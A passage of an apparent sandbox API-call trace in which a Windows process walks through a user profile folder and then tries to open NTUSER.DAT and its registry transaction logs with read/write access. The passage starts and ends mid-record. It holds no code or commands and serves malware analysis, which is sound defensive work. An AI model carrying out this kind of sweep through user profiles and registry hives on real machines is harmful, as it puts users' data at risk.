ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0132.757] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0132.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0132.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0132.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0132.757] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0132.757] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0132.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0132.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0132.758] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0133.002] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0133.824] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfff5553f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfff5553f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0133.897] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0133.898] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0133.933] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b7f22c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b7f22c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7f22c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.0.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b7f22c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b7f22c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b7f22c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.1.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1ba53d0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.2.regtrans-ms", cAlternateFileName="NT91FD~1.REG")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b59326, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b59326, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b59326, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0133.934] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0133.935] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0133.936] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.936] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0133.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0133.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0133.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT", lpFilePart=0x0) returned 0x1a [0133.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0133.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x3890aa0 | out: lpFileInformation=0x3890aa0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000)) returned 1 [0133.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0133.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT", lpFilePart=0x0) returned 0x1a [0133.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0133.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0133.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eafc0) returned 1 [0133.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", lpFilePart=0x0) returned 0x48 [0133.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0133.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930c-933c-11e7-a51d-b808901d6c9b}.txr.blf"), fInfoLevelId=0x0, lpFileInformation=0x3891730 | out: lpFileInformation=0x3891730*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1b59326, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x1b59326, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1b59326, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0133.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0133.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf", lpFilePart=0x0) returned 0x48 [0133.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0133.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930c-933c-11e7-a51d-b808901d6c9b}.TxR.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930c-933c-11e7-a51d-b808901d6c9b}.txr.blf"), dwDesiredAccess=0xc0000000, 